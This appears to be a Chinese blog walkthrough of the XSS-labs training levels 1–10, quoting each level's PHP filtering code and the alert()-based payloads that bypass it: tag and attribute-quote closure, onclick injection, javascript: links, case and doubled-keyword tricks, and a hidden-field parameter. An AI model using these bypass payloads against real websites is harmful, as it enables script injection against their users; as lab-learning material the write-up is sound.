【XSS-labs】

1. 概念原理危害修复

特点

  • 一个弹窗的效果
  • XSS 就是代码对数据调试的时候的安全问题
  • JavaScript
  • 浏览器内核版本会决定能否执行js脚本
  • 产生层面:应用层

2. XSS-labs练习

1 无过滤

发现传入参数会直接在页面显示

直接构造JS语句传参

<script>alert(1)</script>

2 构造闭合

直接传参常识,发现JS语句未被执行

查看源码 ,发现php将特殊字符转化为实体的函数

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

构造闭合

"><script>alert(1)</script>

3 鼠标触发事件

将JS传入,F12查看

发现JS的<被转义了,那么如何触发JS执行

用html里面的鼠标点击触发事件执行

源代码

<input name=keyword  value='".htmlspecialchars($str)."'>
//所以playload的闭合符应该是单引号

注意用鼠标触发

'οnclick='alert(1)

4 双引号闭合

<input name=keyword  value="'.$str3.'">
//对比第三关 闭合符应该是
"onclick="alert(1)

5 href绕过

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

查看源代码

对onclick进行过滤

换一种方式

注意闭合符

"><a href="javascript:alert(/xss/)">click me!</a>

6 大小写绕过

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>

查看源代码发现之前的方式都被过滤了href同样

直接尝试到大小写绕过,发现成功

"><a hREf="javascript:alert(/xss/)">click me!</a>

7 循环过滤

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>

发现进行了小写转换,无法通过大小写进行绕过

常识循环过滤

"><scriscriptpt>alert(1)</scrscriptipt>

8 编码过滤

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

尝试编码过滤

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nYJJygOS-1627609776406)(C:\Users\19363\AppData\Roaming\Typora\typora-user-images\image-20210725173500766.png)]

9 http://

if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

查看源码直接按提示 进行绕过

JavaScript:alert('1')//http://

在这里插入图片描述

10 提交参数

$str11 = $_GET["t_sort"];
 
$str22=str_replace(">","",$str11);
 
$str33=str_replace("<","",$str22);
 
<input name="t_sort"  value="'.$str33.'" type="hidden">

直接用t_sort提交参数

?t_sort=click me!" type="button" οnclick="alert(/xss/)

待完善

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值